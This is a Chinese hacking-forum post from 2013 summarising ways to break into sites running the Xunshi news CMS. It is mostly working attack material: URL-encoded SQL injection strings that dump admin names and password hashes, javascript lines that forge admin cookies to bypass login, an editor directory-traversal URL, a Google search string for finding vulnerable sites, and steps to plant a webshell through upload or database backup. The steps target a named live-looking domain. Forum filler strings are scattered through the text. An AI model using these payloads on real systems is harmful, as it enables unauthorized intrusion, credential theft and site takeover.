中国网络渗透测试联盟
标题:
讯时漏洞总结
[打印本页]
作者:
admin
时间:
2013-1-16 21:25
标题:
讯时漏洞总结
by:血封忆尘
7 Q/ A" D) T5 @
) u1 o3 I, \2 ~) B( Y: U2 A
在网上也有什么讯时三板斧的文章..但我个人觉得有时候靠那三种还是入侵不了（随着版本的更新）
& o7 A- E, y( ?4 V
6 ^& N( ?4 ^) Z
以下本文总结来自黑防去年第9期杂志上的内容...
( V! }6 f! o, P- b
4 q# h, I) |' A4 [' C) T: C
先说一个注入吧:
http://www.political-security.com/news_more.asp?lm=2
%41nd 1=2 union %53elect 1,2,3,0x3b%
o G2 V& I0 l& _
. N0 @3 x9 f5 ]: x2 h' M5 Q
26user,0x3b%26pass,6,7,8 %46rom %41dmin union %53elect * %46rom lm where 1=2
/ }7 B( B% W" Y6 n6 Y
% Q$ y& ` k8 _ W3 p
记得千万别多了空格，我测试站的时候就发现多了空格注入不出结果的情况
) v/ T8 y. }( P$ H3 Q2 c
这里一个注入
0 I4 N6 @" q: c, D$ A
: Z1 M! S( q2 w! j' w( d3 i
效果如图:
# ~ D/ ?9 Y, I4 ~
9 A6 O' v7 W/ f" D4 j
" E# Y6 N, I; h) X, |
1 a2 z6 K9 i0 G. k
这样就很轻松可以得到管理用户名与密码..这里md5可以拿去破解.但是现在安全意识的提高.
( Y8 L) X2 `5 C* G0 t
$ {$ x' \+ y3 u* y% e4 c
密码复杂了..很难破出来..那么我们可以通过后来cookies欺骗进去
! Y( @2 ?8 X3 v7 }7 i" V) g! c% p
. {5 Q4 i/ a+ M/ ?7 U8 J" ~
javascript:alert(document.cookie="adminuser="+escape("用户名"));javascript:alert(document.cookie="adminpass="+escape("md5值")); javascript:alert(document.cookie="admindj="+escape("1"));
$ D4 F& ?3 w4 I* a) s% b* ~ s
5 z9 [1 o0 s3 a7 T' C) s
那么这里就会出现一种情况了..如果后台找不到咋办呢??请看下一漏洞让你更轻松达到你想要的效果:
( l" H! ?4 d" y/ \% M5 f
1 W' d# ?. M: W3 Y, O! b
因为讯时结合了ewebeditor程序..而它没有在处理的时候忽视了ewebeditor有个可以列目录的漏洞
2 E+ _7 b$ ~6 ]6 e4 y
* j1 X8 Q, n5 D! ~/ |' i! W
它是做了验证的..但讯时最没做好的地方就是验证..我们可以通过cookies欺骗来绕过验证.从而可以
/ A. W& ]' M& Z1 i, x) n
5 N3 [+ ^* A5 ^( [- S8 m _
访问这页面来列目录..步骤如下:
& C8 r2 i' G2 ]: g: X: b; h% \8 E
) ]5 u4 K7 f% Z' R+ h3 K
javascript:alert(document.cookie="admindj=1")
+ O% |7 `5 m1 h! O
" }( ?2 @: X9 T% r* s
http://www.political-security.co ... asp?id=46&dir=../..
( K& P5 g2 [0 Y: X2 Y
* E+ P$ p% p( q6 ]
效果如图:
) `) h ~, `# p3 t. |0 f! v+ n& P
2 y4 ]0 b# R3 @) b1 }/ Z
1 ]+ ]. g+ b1 A3 ]) m( L
1 ~, M6 U c4 r
这样全站目录都能瞧了..找到后台目录..进去..
% i# k7 S7 Z/ R% O" h
! {3 }' R# P4 u
那么进了后台怎么拿shell？？上传--备份就ok了..
3 T2 }( h4 _7 b1 l+ o7 [
' z- P3 L9 m/ v7 d, k6 Q7 ]
那么有时候有些管理在做后台功能的时候把备份页面去掉了...而他本机里备份页面还是存在的..
# T, K$ W5 d" ~4 p! C- |
# n/ D, G H3 W3 P" P) Y; e4 a
这个我也碰到过一次..你都可以通过列目录来实现..
, p0 z7 [9 `" @6 U u" w
* A. T1 r! r( j: W' A; j
javascript:alert(document.cookie="admindj=1")
% S5 D7 V. G* H* L9 N5 f' _2 \
, G8 L6 e, i5 b+ [. S2 v
http://www.political-security.co ... p?action=BackupData
7 f, q0 W7 \7 Z4 {% y
- {' ]& a4 r$ n7 H4 @
备份ok..
: e) g P! U1 N d# u" P5 m7 y
- }5 |0 b$ f5 z2 W" ?* {5 M. [
那么以上两个漏洞都被管理封住了...咋办??上面两个是比较常见的..那么下面一个注入漏洞呢?
6 l' `8 ]4 z8 W/ S/ m9 }; g7 l
6 c. }7 I9 y0 y( |2 @- T( ^: Z
在admin目录下有个admin_lm_edit.asp页面..里面的id没有过滤 那么我们就可以先cookies下
1 ^6 ?' b g; `
0 V7 o/ `0 a' B/ g( A9 A
然后访问此页面进行注入..步骤如下:
) z5 R9 S- j+ z% E( C2 I% G' T
4 h a2 ]3 _' I0 }6 ~1 B. E
javascript:alert(document.cookie="adminuser=admin");alert(document.cookie="admindj=1")
# B- o2 _; q% \$ n: k2 a" R/ Q }7 p
; \+ U' M( D" ?/ e
然后请求admin/admin_chk.asp页面
4 l3 ?. S# x. x' }- Y- p
3 Q* V: {, Y# y n D- \$ ?
输入注入语句admin/admin_lm_edit.asp?id=1 %41nd 1=2 union %53elect 1,2,3,4,id%260x3b%
|) q7 y( r! J+ R5 W
" l, h; E. |( ?! J3 x4 x& m7 d
26user%260x3b%26pass,6,7,8%20%46rom%20%41dmin
& e& e( m+ r, x! j) W
" B: }6 ^" n9 f* Z
效果如图所示:
2 T2 D2 H+ `- I$ A% l, l5 G
1 @: k- s' Y5 S% J
% H& L* M C' p8 W: E6 u! v
0 Z3 y, [8 D2 M
讯时漏洞2
2 w+ C( |" X" G+ N
google关键字：inurl:news_more.asp?lm2= （关键字很多的自己定义吧）
7 T9 w" x* @7 Y3 }. s% ^) Y
7 @9 P, a& |, @7 C/ Z% i& I
1、/admin/admin_news_pl_view.asp?id=1
2 G e! Y$ O1 O# Q9 f3 |- D
//id任意 填入以下语句
+ E0 Z7 \% `- F
% f) m v( c. K. M
2、有时1显示错误信息的时候继续往后退2，3，4，我退到11才找到了页面，郁闷！
) g: ^6 J$ }# b4 b# U8 m; l+ l, E
|/ f }" F2 T$ j
: }" {$ b+ T2 z' m* ?; K: ?
T z: m3 I [+ y( i; `
3、|'+dfirst("[user]","[admin]")+chr(124)+dfirst("[pass]","[admin]"),username='
1 w l/ b; X- o" E/ R/ S5 ?
% s @4 H ?8 R' X' v" o# C
$ \6 X9 u; C2 E' u4 f! f! m
6 R! ? m. r# @. W$ Y
爆出管理员帐号和密码了
) p) R3 M" F' E& B
, p- @) |7 z- r& d6 [! s, K6 }( S
5 w+ P5 s7 h+ |
; k2 b3 c9 C/ u5 V- g3 l
4、cookies进后台
) ?1 l7 \6 q1 ] f" Q, {" b
2 n4 g/ {1 u( \7 r
javascript:alert(document.cookie="adminuser=" + escape("admin"));alert(document.cookie="adminpass=" + escape("480d6d6b4d57cc903f3bab877248da40"));
4 \* _7 m% p6 |& P+ K2 O
) L- a- d4 I; X7 C
5 W0 T' u; Q1 d" E @9 @! i
) Q9 p8 H/ r, D0 {/ [) [4 D5 h
5、后台用了cookie验证，直接访问
http://www.political-security.com/admin/admin_index.asp
就OK了！
* V$ \3 e% a# y$ v$ q7 O
8 A g" T* N. u N6 ^0 K
! `2 [) i( G% M' u2 v
. G3 x1 a* K) E( S) X7 c
6、后台有上传和备份取SHELL不难。
+ Q- `5 C" x, e- w4 e6 L
' m0 |; M' y; b
7、讯时还有个列目录漏洞：
http://www.political-security.co ... asp?id=46&dir=../..
- \" A1 ~5 m5 i* }# e
! B. O6 F" s5 {2 n2 @; X
逍遥复仇：我搞了一个讯时cms4.1版本的没有数据库备份不知道怎么搞SHELL，有的说虽然后台显示但备份页面是存在的，登录后台后访问
http://www.political-security.com
/admin/admin_db_backup.asp?action=BackupData
，我这个没有，郁闷着呢，谁还有其他办法提供一下，谢谢！
4 K6 T9 u$ K& e$ G* M7 M" g
9 ~7 d0 j/ I) _1 ~" E6 H, h0 G
1 R& f2 h+ r6 S3 Z+ Q" |
6 r0 x9 T- R. P8 w
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2